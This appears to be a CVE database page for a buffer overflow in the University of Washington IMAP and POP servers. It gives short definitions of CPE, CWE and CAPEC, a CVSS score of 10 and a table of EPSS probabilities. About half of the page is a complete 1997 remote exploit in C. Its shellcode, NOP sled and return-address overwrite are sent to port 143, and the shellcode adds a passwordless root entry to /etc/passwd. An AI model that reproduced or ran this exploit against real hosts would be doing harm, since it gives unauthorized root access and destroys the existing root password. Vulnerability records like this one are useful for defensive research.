CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in University of Washington's implementation of IMAP and POP servers.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
92.91%
–
2023-04-30
–
–
–
92.91%
–
2024-02-11
–
–
–
11.3%
–
2024-06-02
–
–
–
11.3%
–
2025-01-19
–
–
–
11.3%
–
2025-03-18
–
–
–
–
6.59%
2025-03-30
–
–
–
–
5.49%
2025-04-15
–
–
–
–
5.49%
2025-04-15
–
–
–
–
5.49,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
This is the remote exploit of the hole in the imap daemon, for
Linux. The instruction code is doing open(), write(), and close()
system calls, and it adds a line root::0:0.. at the beggining of
/etc/passwd (change to /etc/shadow if needed). The code needs to
be self modifying since imapd turns everything to lowercase before
it pushes it on the stack. The problem is that it rewrites the
first line of passwd/shadow, therefore loosing the root password.
I'm sorry, but I don't have time to add in the seek syscall.
- Akylonius (aky@galeb.etf.bg.ac.yu) [1997]
Modifications made on 5.1.97 to accept command line hostname, with
'h_to_ip' function that resolves it to an ip. - p1 (p1@el8.org)
*/
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>
char *h_to_ip(char *hostname);
char *h_to_ip(char *hostname) {
struct hostent *h;
struct sockaddr_in tmp;
struct in_addr in;
h = gethostbyname(hostname);
if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }
memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
memcpy(&in,&tmp.sin_addr.s_addr,4);
return(inet_ntoa(in));
}
void banner(void) {
system("clear");
printf("\nIMAP Exploit for Linux.\n");
printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
printf(" Modifications: p1 (p1@el8.org)\n");
}
main(int argc, char **argv) {
int fd;
struct sockaddr_in sckdaddr;
char *hostname;
char buf[4092];
int i=8;
char realegg[] =
"\xeb\x58\x5e"
"\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
"\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
"\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
"\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
"\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
"\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
"\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
"\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
"/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
char *point = realegg;
buf[0]='*';
buf[1]=' ';
buf[2]='l';
buf[3]='o';
buf[4]='g';
buf[5]='i';
buf[6]='n';
buf[7]=' ';
banner();
if (argc<2) {
printf("\nUsage: %s <hostname>\n\n", argv[0]);
exit(-1);
}
hostname=argv[1];
while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
buf[i++]=0x90;
while(*point)
buf[i++]=*(point++);
buf[i++]=0x83; /* ebp */
buf[i++]=0xf3;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=0x88; /* ret adr */
buf[i++]=0xf8;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=' ';
buf[i++]='b';
buf[i++]='a';
buf[i++]='h';
buf[i++]='\n';
buf[i++]=0x0;
if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
socket. \n");
sckdaddr.sin_port=htons(143);
sckdaddr.sin_family=AF_INET;
sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
perror("Error with connecting. \n");
printf("hmm: \n");
getchar();
write(fd,buf,strlen(buf)+1);
printf("hmm: \n");
close(fd);
}
// milw0rm.com [1997-06-24]